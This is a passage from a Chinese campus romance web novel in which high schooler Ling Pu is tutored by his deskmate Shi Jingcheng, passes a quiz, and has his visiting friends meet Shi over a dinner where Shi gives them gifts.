写得还特别完美,从第一个步骤到最后一个,顺利推导出答案。 凌蒲一脸懵地捋了一把头发。难道是他失忆了,不知不觉间已经觉醒了数学技能吗。 直到时璟承来上学。 “你帮我写的?” 时璟承的动作没有丝毫停顿,放下书包,语气淡淡:“你觉得可能吗?” 他侧过头,带着居高临下的审视:“抄作业抄出幻觉了?” 凌蒲被噎住,怀疑的念头动摇,或许真是自己抄完然后忘记了。 他重新合上。 不过结局总是好的,悬了一地的石头落了地。 转过头,看着时璟承,一些莫名的片段再次涌入大脑。 “想起来了吗,是不是你写的。”时璟承状似不经意地问,“还记不记得昨晚的事?” “不记得。”凌蒲立刻摇头。 耳朵泛起一片尴尬的红晕。 第78章 上完一节数学课,任展飞再次提醒:“明天就是假期前小测,请大家认真对待。” 凌蒲今天都昏昏沉沉,一听到宣布下课便把书和笔放到一边,擦擦桌面,找个舒适的姿势趴下。 正准备入睡,对上旁边正在写题的时璟承:“。” 他默默换了个方向,留给时璟承一个后脑勺。 脑后还翘着好几撮头发,都是今早匆匆忙忙赶来的证据。 “明天要小测。” 时璟承的声音从上方响起,凌蒲被他吓了一下,脑后头发一颤。 “嗯。”凌蒲应了一声。 时璟承耐心等待一会,没等到下文;“不让我给你补了?” “你不是有事吗?” “昨天有事你不也跟去了。” “你那是利用我。”凌蒲后知后觉,转过脸,“把我当成工具人。还让我喝酒了。” “你自己喝的。” 凌蒲望了他两秒,目光扫到时璟承的鼻梁,脑后中闪过昨天的场景,像被烫了一下似地挪开,找别的话题:“感觉顾乾哥哥和邵晚熠哥没什么变化,不过他们的关系似乎好了很多。” 那个综艺的碟片凌蒲只看了第一期,犹记得当时是针锋相对,昨天一对比之下反差还挺大。 “你还记得?”时璟承不咸不淡。 凌蒲被唤起表达欲,喋喋不休:“顾乾哥哥还是好帅,就是有点冷冰冰。邵晚熠哥现在比年轻时候更有魅力,昨天吃饭就感觉对面画风也太好看了。而且不知道你看没看到,邵晚熠哥本来想给顾乾哥剥虾,但是顾乾哥没要。后来顾乾哥剥了一个放在盘子边上,被邵晚熠哥夹走了。” 时璟承不知什么时候停笔,看他:“你记忆力挺不错的。还以为你只在埋头苦吃。” “那是。”凌蒲自得。 “璟承。”忽然,窗外的成深野打断他俩。 凌蒲继续睡觉,时璟承转过头。 “你这么闲?翘课?” “这节我们活动课,专门来找你。” “干什么?”时璟承低头写题。 “晚上拍卖会,我打听了,有个顾董特喜欢的茶具套组,到时候你当场拍下来送给他,效果肯定不错。”成深野问他,“我们要不要提前请个假,这么大场合,最好提前准备。” 时璟承把答案从草稿纸抄到题目上,告诉他:“我晚上不去了。” “怎么可能?”成深野意外,“不是提前就说好的事情吗?晚上有头有脸的都要去,说不准顾董事给你挑一个未来联姻对象呢。” 时璟承瞥他一眼:“小说看多了。” “这不就是他的意思?你知不知道你的风评极佳,这么多年洁身自好,努力上进,长得帅家世好。上回还听我爷爷提过,每回聚餐都有人向顾董事打听。你有没有中意的,随便选。” 时璟承不耐:“选你行不行?” 成深野笑道,想搭他肩膀:“行啊,我愿意。” 被时璟承拍开:“我真不去了,你自己去吧。” “别开玩笑,顾董都去你不去?” “嗯。” “什么十万火急的大事?”成深野见时璟承没开玩笑,露出非常不解的表情。 “教一只猪学数学。” 成深野疑惑,朝时璟承附近看了看,就看到趴桌子上睡得正香的凌蒲,脸蛋睡得粉粉,嘴唇微微张开一点,仿佛拥有如同婴儿般无损睡眠,旁边散落几张数学试卷。 成深野犹豫:“你指的不会是他吧?” 见时璟承不说话,他终于按捺不住心中疑问:“您到底有什么复仇大计,感觉会很高深。” 他认为以时璟承的性子,肯定在下一盘大棋,至少也要让当年的欺骗加倍奉还。 又看了眼凌蒲的睡颜:“拿捏他还不是分分钟的事情。” “嗯。” 成深野听他答得没有犹豫,笑道:“你也这么觉得。不过也是,看他这个单纯的性格,被人卖了都得数钱。” “装的。”时璟承掷地有声。 等到放学前的倒数第二节课,凌蒲才感觉清明一些,迷迷糊糊拿了水杯去接水。 不小心撞到什么人:“不好意思。” 凌蒲先道歉。 “没事。”上方传来声音,“你是新同学吗?” 凌蒲一看,这人长得斯斯文文,说话挺温和。再定睛一看,正是那位他心中能够超越时璟承的种子选手。 “沈庭赫?”他说出这个名字。 沈庭赫点头:“你和璟承关系似乎很好,好像没见他和别人关系这么好。” “并不好。”凌蒲实话实说。 “他旁边位置空很久了。”沈庭赫温和地说,“你刚来有什么问题的话可以问我,理科方面勉强还行。” “你那怎么能算勉强,很厉害的好吧。谢谢你,我正好数学有” 凌蒲忽然停住,朝时璟承的方向看了一眼。 “下次吧,今晚我已经拜托时璟承帮我讲题了。谢谢。” “璟承晚上没有事吗?我听说他的爷爷要求他一定要去参加一个聚会呢。” “爷爷?”凌蒲没有反应过来。 “你不知道的话不太方便和你说。”沈庭赫接完水,准备离开。 凌蒲想起来时璟承好像确实是说有事来着,他对于时璟承的背景略有耳闻,心里猜测应该是比较重要的场合。 于是默默离开,回到位置上:“时璟承,今晚你去干你的事情吧。不用你给我补了。” “怎么,有人给你补了?” “没有人给我补。” “骗子。” “时璟承,你为什么总这么强的攻击性。能不能好好交流了。”凌蒲抗议。 “因为你有前科。” “因为两岁的事情就被钉在耻辱柱上了吗?” “嗯。” “好吧。”凌蒲没话说,“不过刚才我本来是想让沈庭赫帮我的,不过最后没有。” 时璟承稍稍挑眉,等着他继续说。 “因为我觉得你会不高兴。” 凌蒲虽然也不知道为什么,但就是觉得时璟承会不高兴。这人好像很容易不高兴,背后的规律难以捉摸。 时璟承看着凌蒲,勾了下嘴角。 “放学我没事。帮你补课。” 明天就要考试,在前一天晚上的效率总是特别高。凌蒲全神贯注地听时璟承给他讲题,打起十二分精神。 自习讨论室的灯光一小盏,笼罩着凌蒲努力的身影。 他脑门上的头发已经凌乱,翘起来的弧度都透露着思考的痕迹,看表情很有收获。 主要时璟承讲得很好,似乎清楚地知道凌蒲哪里薄弱,有详有略,简直熨帖着凌蒲的思维。 “好厉害。”凌蒲抬起脸,发自内心夸赞。 因为讲题,两人的距离坐得比上回要近。 时璟承瞥了一眼,用两根指头把凌蒲的脸推了下,换个角度。 但这双澄澈见底的眼睛依然看着他,写满崇拜和夸赞,存在感颇高。 索性一伸手,把凌蒲的刘海朝下压了压,挡住眼睛。 “干什么。”凌蒲挪开他的手。 时璟承随口编道:“这样好看点。” “是吗,很多人还说我没有刘海更好看呢。”凌蒲整理好自己的发型,将弧度重新保持完美,对于时璟承的审美颇有志同道合之意。 时璟承没搭腔,继续给他朝后讲。 直到窗外的月亮来到上空,街上的车声变得宁静,凌蒲大功告成地合上书本。 “太谢谢你了。”他向时璟承发出感谢,“如果明天能顺利过关,国庆节不用接受惩罚的话,我请你吃饭吧。” “这也是你关于人情世故的‘应酬’吗?” 时璟承还记得上回凌蒲送给章飞的那杯奶茶,本来终于念叨得差不多了,昨天凌蒲又给他点了一杯,重新开始念叨凌蒲是大好人。 “没有,就是很真诚地在感谢。”凌蒲纠正,“对陌生人才是人情世故。” “这样。”时璟承波澜不惊地点点头。 “去不去啊?” “嗯。” 时璟承勉强同意。 * 第二天,紧锣密鼓的小测终于结束。 教室里仿佛打过仗,桌上杂七杂八全丢的是草稿纸,暗含着对明天国庆假期的期盼。 “一节课就能改出来,这节自习认真上,放学来宣布结果。”任展飞说,夹着试卷走出去。 他的身影一消失,教室里如同解除封印一般,在一起窃窃私语。在这难得的假期前夕,所有人的心思早就已经飞远,没有多少还留在教室里。 “你打算去哪儿玩?” “七天,我爸妈准备带我去旅游。” “今晚十点上号好兄弟。” “” 一片嘈杂之中,凌蒲也悄悄地在桌肚里看手机。 程益添给他发了不少消息。 【蒲,票买好了,今晚一放学我们就连夜坐车去找你】 【图片】 【是这个站不,离你家近不近?】 【玩到第三天下午就得回来了,第三天晚上还要上个晚自习,该死】 【我们吃啥啊】 凌蒲引用那个截图,回复【收到,今晚去接你们】 【有多少人呀,秦哥来不来?李亭来不来?】 【放心好了,我知道很多好吃的店,到时候带你们去吃】 他飞速打字,指尖敲击在屏幕上。 “我的天天练在不在你那?”旁边时璟承问他。 一转头,就看到手机坦坦荡荡地敞在视线,没有任何遮挡,消息条映入视野。 “你假期行程够满的。”时璟承说。 “还好吧,他们就前三天来。”凌蒲心不在焉,“你的天天练应该在我桌子上,你找一下。” 他又低头打了一堆消息发过去,才想起来:“等后面几天我请你吃饭,可是我好像没有你的联系方式,该怎么联系你呢?” “飞鸽传书吧。”时璟承冷淡地留下一句。 第79章 凌蒲放下手机,敏锐而准确地判断出时璟承似乎又在不高兴。他一向神经粗粗,但或许是生存所需,对时璟承的情绪变化总有种莫名直觉。 “飞鸽传书怎么联系你呀。”凌蒲笑道,“加个联系方式吧。” “不加。”时璟承拒绝。 前面因为放假而兴奋的章飞四处张望,顺口加入对话:“时哥谁都不加的,放弃吧凌蒲。时哥,作业借我看下呗。” 时璟承把作业丢给他:“没有你的事。” “好嘞。”章飞得到作业,转头回去。 “不加。”时璟承对着凌蒲继续拒绝。 凌蒲并没有太气馁,将身体凑近了些,拖长尾音软磨硬泡:“加个嘛。” 他把二维码打开,递到时璟承面前,见对方仍不为所动,于是忽然压低了声音,几乎贴着时璟承耳畔说出四个字:“小天哥哥。” 时璟承猛然转头,望着他,揪住领口把他扯得远点。 凌蒲除了周一老老实实穿全套校服之外,其他日子里面都穿一件不同图案的t恤,领口松松散散,一扯就露出一片肌肤。 他举手求饶认输:“错了。我随便叫一下。” 凌蒲没想到时璟承反应这么大,只能任人宰割地服软。 “别这么叫我。我和这个名字没有关系。”时璟承放开他,语气冷淡。 “那叫你什么?小承哥哥?” 凌蒲理了一下领口,随口说道,又不屈不挠地递过手机:“加不加啊?过时不候了。” 昵称是个粽子表情包,绿油油的。 他偷看一眼时璟承,语气软下来。 “我错了。现在我要改头换面,重新做人,你加我一下吧,给我一个请你吃饭的机会。”凌蒲温声细语地哄劝。 最终,时璟承看了他几秒,略有勉强地拿出手机,解开锁丢给凌蒲。 “又让我操作?”凌蒲接过来,一回生二回熟,目不斜视地替他打开软件,和自己的扫上。 “你昵称——” 凌蒲看着上面的三个Z,第一个大写后两个小写。 时璟承笔尖一顿。 “挺萌啊,怪不得不让别人加你呢。”凌蒲看着像睡觉标识的“Zzz”,觉得很有意思,点了通过。 时璟承没有理他,继续写题。 随口问道:“这次排你列表里第几个?” 凌蒲把好友列表下拉,发现时璟承的昵称“Zzz”竟然排在最后一个。 “我要给你备注的。”他说,“给你备注AAA时璟承怎么样,满意吗?” 原本凌蒲只是调侃一下开个玩笑,没想到时璟承竟然没有说话,只得真的把这个备注输上去。 “看,你现在排第一了。”他出示给时璟承看。 在整个漫长而一眼望不到头的列表里遥遥领先,“AAA时璟承”。 凌蒲觉得天色晴朗了些,气压在回升。 “要给我备注吗?”他拿着时璟承的手机问,“把我的姓名输上去?” “随你。” “其实我十几年都没换过昵称,你知道我小名叫粽粽,所以我一直用这个粽子表情当头像。” 凌蒲心情不错,但兴奋的心情中还是带着隐隐的忐忑。虽说昨天临时抱过佛脚,今天的小测几乎都能记得,但任展飞要求向来严格,不知道会不会被扣到八十分以下。 等一放学,他就朝任展飞办公室跑。 前面一堆和他一样心情的人捷足先登,围着老师查成绩,任展飞还有几张没改完,一时间办公室乱作一团。 前方不时传来或欣喜或懊恼的声音,让在外圈的凌蒲心情更加紧张。 他实在无法接受多三张卷子和来上两天自习这样晴天霹雳的结果。 章飞拿着卷子,面色微微发白地出来:“靠,为什么把数字抄错了,真倒霉。” “没有合格吗?”凌蒲问。 “没啊,就一个数字抄错了,给我分全扣了。不是吧我假期都约好要连打七天游戏了,打困了睡,睡醒了接着打,打饿了吃,吃饱了继续打,现在道心破碎。” 凌蒲被对方的计划惊呆。 前面的人逐渐减少,终于轮到凌蒲。 “任哥,我过关了吗?” 任展飞找到他的试卷,打量一眼,才笑道:“写得不错。一些小细节需要加强一下,不过这次在八十分以上,你要及时跟上进度,我很看好你。” 凌蒲只提取到了“八十分以上”的关键词,笑意瞬间浮上眼睛, 这几天的担忧和昨天通宵达旦的辛苦都烟消云散。七天假,他来了! 一路跑出去,遇到背着书包迎面走过来的时璟承。 对方依然一身笔挺的校服,领口和袖口处一丝不苟,衬得身姿挺拔。看到跑过来的凌蒲,时璟承微微拧眉,正想说什么,忽然激动的凌蒲朝他张开手,结结实实地抱了他一下。 “太好了!” 凌蒲不但如同一只小鸟一般撞在时璟承身上,带着清爽的气息扑个满怀,还伸手拍了拍时璟承的肩膀,就要勾肩搭背。 “喂。”时璟承出声提醒,带着一丝不易察觉的僵硬。 冷冷的声音让凌蒲抬头看一眼,冷静几分,但并未浇灭他的喜悦:“你放假打算去哪玩。” “家。” “我有空找你玩,反正我们已经加上好友了。” 凌蒲习惯性客套一句,跑到教室,胡乱装了点书,背上小书包,一溜烟地朝楼下跑,奔向自由的方向。 * 凌晨五点的车站。 由于是放假第一天,无论是出站口还是入站口都人头攒动,人声鼎沸,比往常要热闹许多。 凌蒲站在其中,等待他的小伙伴。 翘首以盼,当那几个身影终于出现时,立刻踮起脚招手:“益添!秦哥!李亭!” 五六个高中生朝他跑过来,热烈拥抱,场景堪比亲人重逢。 “好久没看到你了,蒲!”程益添捏捏他的脸,“你还是这么帅。” “你也是。”凌蒲亲亲热热地和他勾肩搭背。 “你好像长高了。”秦路远比量他的身高。 “秦哥,好久不见。” 挨个打完招呼,凌蒲看着最后一位女生有点意外:“乔檬,没想到你会来。” “不欢迎吗?”乔檬笑着看他,“来玩玩啊,好不容易国庆假期,听说程益添的计划之后立刻就加入了。” “欢迎欢迎。” 凌蒲收起拥抱的动作,朝她灿烂地笑了一下。 “走吧,先让你们把行李放下来。补个觉。”凌蒲带他们去早就选好的酒店。 乔檬单独一间房,其他几个男生一起开一个套间,程益添和凌蒲久别重逢,两人有说不完的话。 “那个杀手有什么新动向吗?”这是程益添最记挂的问题,他的好友在新学校遇到了杀手。 他脱掉外套倒在床上,第一句话就是这个。 凌蒲稍作思考,坐在他旁边:“不知道。目前还在同桌中。” “果然被我说中了。”程益添就着一夜没睡的兴奋大脑畅想,“他先让你去一个班,然后让你和他同桌,就是要把你这只小白鼠玩弄于股掌之中了。” 凌蒲躺在他边上,头发散下来,脑海中出现时璟承。 “我觉得他好像并不那么坏。” “天!你已经掉入第一步陷阱,要被洗脑了。”程益添扼腕。 “真的。他还给我讲数学题,送我回家,给我买奶茶和蛋糕吃。”凌蒲细数时璟承的好处。 把程益添听得脑门缓缓升起一个问号。 脱口而出:“他这是想泡你还是想鲨你啊?” 凌蒲觉得他这句话说得好笑,要是被时璟承知道了估计得气上三天三夜,想到对方黑脸的样子,他不由笑起来。 “算了,先不说他。”程益添换了个话题继续聊,“你见没见到那个民间校草榜第一名?传闻家世不菲的那位,咋样,有没有过度包装。” 凌蒲思索,摇摇头:“没有的。” “不会吧,真的比我帅吗?”程益添挑眉。 凌蒲假装端详程益添:“你在我心目中是最帅的。” “好兄弟。”程益添感动,“希望我也能开法拉利进校园。” “这就属于以讹传讹了,他大部分时间是比较低调的。”凌蒲纠正,“坐我旁边的时候,天天穿校服,比我还守规矩” 程益添一骨碌坐起来:“你说的杀手是他啊!” 凌蒲咬了一下唇,不小心说漏了。 但在程益添面前并没有什么,在追问之下索性把恩怨隐晦地说一说,去掉了一些不方便的内容。 程益添一拍腿:“我终于知道了。你看过网上那种报复手段不,那些花花公子报复人,都是把人追到手玩弄感情,然后再狠狠甩掉。” 他看着还在傻笑的凌蒲,十分担忧:“这些人都是男女通吃的,段位极高。” “想多了益添,时璟承不会的。”凌蒲失笑摇头。 “你就说他在感情方面花不花?” 眼见凌蒲稍微沉默,程益添更加顺着自己的脑洞说: “你想想他为什么大费周章把你搞到身边,能把一件事记了十几年,不可能毫无动作。你看电影里这样的人,哪个不是内心冰冷带点扭曲,手段眼花缭乱。” “益添。”凌蒲打断他,“等我再判断一下,你先别这样说他。” “好吧。我说多了。毕竟没有见过他,全靠想象。” 程益添先把这件事搁在一边,和凌蒲叽喳了一些别的事情,便也抵挡不住一夜未眠的困意,陷入沉睡。 凌蒲是睡醒了才来的,虽然时间短,也难以那么快入眠。他无所事事地翻着手机,早晨六七点,所有群聊反而比半夜都安静。 消息列表下滑,他指尖停留。 和其他火热的聊天不同,有个对话框只有一句话。 “你们已经成功添加好友,可以开始聊天了。” 凌蒲点进去,简单的头像和没内容的朋友圈,都没什么好看的,他漫无目的地盯了一会儿,左滑退出。 你“拍了拍”AAA时璟承。 “”凌蒲瞬间清醒。 撤回撤回。 【AAA时璟承:?】 第80章 凌蒲发送了一个打招呼的表情包。 【/hello】 对方没有理会他。 凌蒲也没指望时璟承能回复,握着手机,属于回笼觉的倦意逐渐上涌,昏昏欲睡。 不知过了多久,手里的手机忽然震动了一下。 勉强睁开眼一看,时璟承回了他个表情/微笑。 凌蒲看着这个表情笑了笑:【你发这个好像老年人】 反正也睡不着,逮住这个唯一清醒的列表好友,他开始一连串地发。 【为什么起这么早】 【今天都放假了还这么自律吗】 【你猜我在干什么】 直到凌蒲再次睡着,时璟承都没有回他。 等日上三竿,终于全员睡醒。 凌蒲把大家召集起来,展开长长的游玩清单表,三天行程紧锣密鼓。 “看看有什么要补充的。” “真全面。我想看的落日包含在里面了。”李亭指着说道,“连日落时间都查了。” “还有我想吃的烤鸭。”秦路远点着其中一处,只见午饭后面画了只小鸭子。 “那当然。”凌蒲自得,又看了看乔檬,“乔檬,我不知道你会来,你有什么想吃想玩的吗,可以加进去。” “都可以,跟着大家玩就好。”乔檬无所谓。 程益添举手:“我来这有个心愿。” 凌蒲示意他畅所欲言。 “能不能见见那位时璟承。我自从上次替你搜学校,对他的好奇心越看越多。” 没想到是这个,凌蒲为难地摇摇头:“估计不方便的。他不太喜欢人。” “不喜欢人?这是什么理由?那好遗憾。”程益添哑然。 “就是似乎有点讨厌人类,不过我可以帮你问一下他。”凌蒲答应,“我有他的联系方式。””先走先走。出发到车上再说。” 兴奋的催促声中,大家一起出发。 活力无限地爬了山爬了城,一片叽叽喳喳声。 这里的秋天向来很美,虽然天空泛着灰蒙蒙的白,但阳光一照,也是不一样的风景。富有韵味的建筑和山,把城市的特征书写得淋漓尽致。 “歇会儿歇会儿。”登上石梯的最后一个台阶,凌蒲电量耗尽。 “多锻炼啊蒲。”程益添坐他旁边,“乔檬都还精力充沛呢。” 凌蒲靠在一块大石头上,拉开冲锋衣外套,吹吹风:“已经走了很远了。劳逸结合。” 程益添递水给他,摸出手机,一顿咔咔拍。 “天气和风景都完美,就是人有点多。不白来,我要发个朋友圈。” “程益添你拍照技术好,一会儿直接偷你图了,多拍几张。”其他人都想不劳而获。 “行,来合个照。” 又是咔嚓一顿,两两和三四五随意组合拍了半天。 “我和凌蒲没拍呢。我和凌蒲拍个吧。”乔檬说。 程益添给他俩也按下快门。 “出图率嘎嘎的,发群里自取啊。”他自卖自夸,把图片从相机导出来,准备发到群里。 “我们重新建个群吧,乔檬不在群里。”凌蒲提醒他。 乔檬和他们之前的关系并没有那么熟,所以一起来时凌蒲有点惊讶。 程益添答应道:“好。” 重新建群发图,各自自取发朋友圈,凌蒲也排了个九宫格,准备发出去。 忽然发现时璟承不知什么时候回复了他的上一条消息。 【懒得猜】 凌蒲便顺手给他发了几张照片,告诉他自己在做什么 另一边,时璟承看着手机傻乎乎对着照片摆耶的凌蒲,停顿。 点开挨个看了看这个合影,发现看起来和凌蒲关系最亲密的是个小麦色肌肤的帅哥,估摸着就是那个程益添。 “看谁呢这么专注?女朋友?”邵晚熠从顾乾房间里出来,路过调侃。 时璟承按动锁屏键熄了屏幕:“你以为谁都和你一样。” “我怎么样了?这些年一心一意地投入在你哥身上。” “我哥眼瞎。” “这么说你哥的。”邵晚熠穿上外套,整理袖口,“不过算算你小子也十七八了吧,是到年纪了。想当年我十九岁的时候——” 随着后面门的一声响动,声音戛然而止。 时璟承转头一看,看到顾乾从房间里出来,而邵晚熠正一脸严肃地整理衣服。 “说什么呢?”顾乾问。 “没什么。只是邵哥在说他十九岁的恋爱故事,记得很清楚。”时璟承转述。 邵晚熠一笑:“时璟承,邵哥教你的第一课就是做人不要自作聪明。不好意思,我的十九岁你哥了如指掌。” 顾乾瞥了邵晚熠一眼,没搭腔,问时璟承:“你确定不跟我们去是吧?” 他们受邀参加时装周,行程轻松,可以在当地多玩几天。正好赶上时璟承放假,天时地利,原本几乎说好,但时璟承又改变主意不想去。 “不去了,我要学习。” “时璟承,我知道你的想法。”顾乾见他提学习就忍不住提醒,“但时岳韬是一定要让你去国外念书的。” “他还不让你和邵晚熠在一起。” 顾乾把行李箱拉链“唰”地拉起来,立在地上:“走了。自己在家好好待着。” “他知道。”邵晚熠推走顾乾,“都自己在家待十几年了。” 门在面前关上,时璟承换掉衣服,躺在沙发上,交叠双腿。 想了想,摸出手机。 重新点开凌蒲那张傻乎乎的照片,发了个猪头表情包过去。 一直没得到回复。 看了会儿书,看到跳出来两条消息。 最后一条挂在消息框里【想见你】。 时璟承的眉头挑了挑,丢下书,坐起来。 虽然周围没有人,但仍是作拧眉不耐状地点进去,发现完整版。 【/粽:我朋友在网上看到你,有点仰慕你,他问你有没有空】 【/粽:想见你】 时璟承打字:【哪个朋友】 【/粽:上图左二】 时璟承划拉上去一看,就是那个程益添,他回复: 【行啊,我也想见他。】 收到消息的凌蒲一愣,和程益添说:“你俩双向奔赴了。” 程益添对着那消息琢磨半天,大手一挥:“去呗。去会会。反正我们人多,还担心不成。” “他要叫一卡车人打你的。”凌蒲恐吓。 “打死我蒜了,回去还得上晚自习。” 程益添破罐破摔。 无奈之下,凌蒲只能替他俩牵线搭桥,约个时间吃饭。 “择日不如撞日,就今晚。”程益添很勇。 正在凌蒲打字的功夫,他看到远处独自拍照片的乔檬,欲言又止了几次,还是压低声音:“凌蒲,你真看不出乔檬为什么来?” “为什么?”凌蒲问他。 一双澄澈的眼睛把程益添的话都噎了回去,把相机塞回去,改口道:“不知道。可能就是心血来潮闲的无聊,跑了一千一百多公里,和一群不太熟的人做搭子。” 他搭着凌蒲的肩膀,转移话题:“他答应没。今晚能不能吃饭?” “他说可以的。” 程益添山都不想爬了:“放我回去,我要以最佳姿态去替你会会这个杀手,什么人一直欺负我们凌蒲。” 经投票表决,他们坐缆车上到山顶后立刻返回,为了赶晚上的饭。 * “一会儿我来买单。” 程益添已经脱掉爬山时的运动服,换上了他平日里的装扮,从头到脚一身名牌。 平常在杭苏也是不愁吃喝,零花钱没短过,专程为凌蒲来撑腰才是此行目的。 其他人不清楚具体情况,只听说是个程益添瞧不顺眼的少爷公子哥,表示会站在好兄弟这边,纷纷摩拳擦掌,秦路远专门撸起袖子,露出结实的臂膀。 包间里严阵以待,简直像是一场鸿门宴。 钟表走到约定时刻,门被“咔嗒”打开,众人回头。 不约而同地呆了一呆。 只见时璟承站在门口,身形挺拔,穿着简单的黑色外套和黑色长裤,气质清冷沉稳,和包厢里略显幼稚的气息形成鲜明对比。 这个杀手形象与程益添想象中的完全不符,气氛也远不像他想象中那种针尖对麦芒。不过那个民间野榜倒有几分含金量,竟然和图片没差,不科学。 对方平静地扫过全场,落在凌蒲身上,停留两秒,又继续,点头打招呼:“时璟承。” 原本程益添脑海里种种下马威在一瞬间都无法施展,有些手忙脚乱。 凌蒲介绍:“这是程益添,这是李亭,这是秦路远” 时璟承一一朝他们点头,被点到名字的人略显僵硬地回一个。平常学校里和人打招呼都是招手,谁用这个动作。 而且时璟承做起来还很自然,态度从容。 最终时璟承朝向程益添说;“你是程益添吧,经常听凌蒲提起你。久仰。” 语气不卑不亢,把程益添说得一愣,下意识答道:“啊,他经常提起我?” “嗯,看出你们关系很好。” 时璟承伸手示意一下凳子:“都请坐吧。” 他落座在凌蒲旁边的空位上。 凌蒲一直盯着他看,觉得今天的时璟承和在学校里的不一样。 时璟承没有接他的目光,留给他一个线条完美的侧脸。 凌蒲转过头。 程益添试图重新主宰场面:“我们让客人点单吧,这位看看想吃什么,尽管点。” 时璟承从善如流地接过来,顺势问其他人:“有什么忌口或者特别想吃的吗?” 他用目光一一询问,即使是略显安静的乔檬也停留片刻,完全主宰整个场面,仿佛整个屋子都在他掌控中,掉根针在地上都知道。 打了几个勾,将菜单传过去,让一圈人依次补充。 趁着别人讨论吃什么,凌蒲给时璟承倒茶:“谢谢你过来。这顿饭不算我的,等后面再单独请你。” 时璟承这才看着凌蒲。 进来就波澜不惊的神情带上不悦,拧起眉头:“晒黑了。”《 》 80-90 第81章 一顿饭时璟承持续散发魅力,其他人被他征服了个七七八八,唯有程益添更加不忿。 情绪都写在脸上,就差怒目而视。 凌蒲觉察到,放下手里的筷子,用公筷给他夹菜:“益添你爱吃的枣泥糕,尝尝和那边有什么不同。” “没家里的甜。”程益添板着脸吃一口。 “给你蘸一点糍粑的红糖。” 凌蒲替他在小碟子蘸了蘸,重新夹到碗里:“再尝尝。” 见他这样,谁都没法再有脾气,程益添拿起筷子开始吃,看着单纯的好友,对他的前景十分担忧。 “什么枣泥糕?”旁边的时璟承问。 “就是那个枣泥糕啊。”凌蒲指了指,“枣泥做的糕。” 时璟承没有自己动筷子的意思:“还没怎么吃过。” 凌蒲莫名会意,就着公筷也给他夹一块。 时璟承不动。 凌蒲给他也蘸了点红糖,殷勤放好:“尝尝。” 时璟承这才下筷子浅尝,点头:“还可以。” “我还以为你不会喜欢吃甜的。”凌蒲意外。 “又不甜。” 时璟承说着,手机忽然响了一声,起身出去。 随着他的离开,屋里重新回到鸿门宴风云。 程益添谴责自己的队友:“喂,你们到底是哪边的啊,刚才聊那么欢。秦哥,连你也这样。” 秦路远不敢看他的眼睛,只说:“刚刚有点意外,没想到他竟然也了解赛车,不是那种什么都不懂的公子哥。” “是啊,知识面这么广,竟然知道辉光管。”李亭有点小兴奋,“就是益添我和你说过的那个电子” 他看了一眼程益添的脸色,收了收情绪,重新更改措辞道:“但是好兄弟,我们永远站在你这边。” 程益添满意,和乔檬说:“小乔,我觉得你不是见色忘义那种人。” “当然不是。”乔檬否认。 “凌蒲你——” 程益添转过头,看到吃得正欢的凌蒲,抬起那双眼睛看他。 “算了你继续吃。” 他和其他人商议半天,一致认为时璟承段位太高,最好的方式就是一会儿直接不和他说话,排除一切干扰。 屋子里重新团结起来,程益添和他的好伙伴们重新凝结起紧密的团魂。 门响动一声,大家佯装继续吃饭。 时璟承随手把手里的东西放在靠门的柜子上,回来继续用餐。几乎没怎么说话,仿佛没有注意到氛围的变化。 一顿饭将将吃完,才不经意地对程益添开口:“你手上戴的是干支纪年乐队的戒指吗。” 程益添低头看了看,吃惊:“你怎么知道?” 他手指上戴了个周边戒指,上面画了一个乐队的标志…… 但这支乐队非常小众,创作出的歌曲风格独特,程益添受他表哥影响,从小时候就是粉丝。 但因为吉他手意外去世的缘故,该乐队早已宣布不再演出。 当时吉他手和主唱常年闹矛盾,后期一直拒绝和对方在同一件物品上签名。事情发生之后,最先提出解散的却是那位主唱。其最后的团魂也让很多粉丝都喊出永远不散的口号,依然追随。 事情过去挺久,不再大张旗鼓地宣传,而是成为粉丝之间的一种心照不宣。 对于时璟承这句话,程益添很意外。 “碰巧。”时璟承从身后拿出一个牛皮纸袋,“以前有人送给我哥的,在家放着也是放着,不如给喜欢它的人。” 他打开牛皮纸袋上缠绕的线,一圈一圈,凌蒲凑过脑袋去看,时璟承把他的脸朝旁边推了推。 “是什么啊?”凌蒲问。 时璟承拿出来,上面是一张清晰地乐队照片,场面宏大,而下方竟然有所有成员的签名,看起来有一些年头,但被保存得很好。 程益添接过来的手微微颤抖,这着实是千金难换,有价无市。 “谢了。我转钱给你吧。”他打算掏手机。 “那太俗了。和凌蒲的朋友第一次见面,送份见面礼” 时璟承又拿出其他几件物品,并没过多包装,透着一种淡淡的随意感,从外观就能看出是什么。 有酷炫的限量版迷你赛车,充满赛博风的金属装置,一串运动风的挂饰等。都不算太贵,但投其所好,确实让人难以拒绝。 到底都是高中生,看到程益添都带头收了,也就半推半就,盛情难却。 “我不要了吧。”乔檬看着那串挂饰,虽然挺喜欢,但还是推辞。 “收下吧。他不差钱的。” 凌蒲没想到时璟承会送礼物给他的朋友,显得挺重视。虽然知道或许是对方的社交习惯使然,但还是个很拿得出手的同桌。 他望向时璟承手里,充满期待:“我的呢?” “和你又不是第一次见面。” 时璟承把包装袋折起来。 “哦。”凌蒲继续吃饭,在其他人的热闹中,享受独自的孤寂。 “而且我送你的东西都没有好好保存,不想送了。”时璟承说 凌蒲回忆一下,确实曾经把对方给他的笔丢到纸箱里,有前科的他感到心虚,不再说话。 饭局结束,在大家休息的当口,程益添来到前台,打算买单。 “那位先生已经买过了。” 前台点了点,程益添回头,发现时璟承。 只是简单的一身黑,简单得和这人矜贵的气质不符,像是故意穿得比平日素点。但效果胜过花里胡哨的名牌,低调而有质感。 “我以为按照你这么滴水不漏的处事风格,会让我买这个单。”程益添说。 时璟承将手机装进口袋,淡淡:“替凌蒲招待他的朋友,应该做的。” 程益添挑眉一笑,一副“别诓人了”的表情。 揭穿:“凌蒲如果知道你买的单,一定会想法设法把钱还给你的。到时候又能玩他半天。” 时璟承颇为意外:“你倒挺聪明,怎么和凌蒲玩到一起去的。” “” 程益添态度并没有之前那么尖锐:“你别欺负凌蒲,觉得他好玩就随便玩。你们物质生活太满足,给自己找点乐子,可以理解,很快就玩腻了。但凌蒲是我最好的朋友,我不希望有人伤害他。” “最好的朋友?”时璟承顶了顶腮,“那挺厉害的。” 他不咸不淡:“谁能伤害到他?反射弧能绕地球三圈,骂他都听不出来。” “那倒是。”程益添挺同意这一点,很快又纠正,“但他也会有感情,比如对认定的好兄弟就很有义气,像我,觉得凌蒲是最好的兄弟。” 时璟承淡淡重复:“最好的兄弟——” 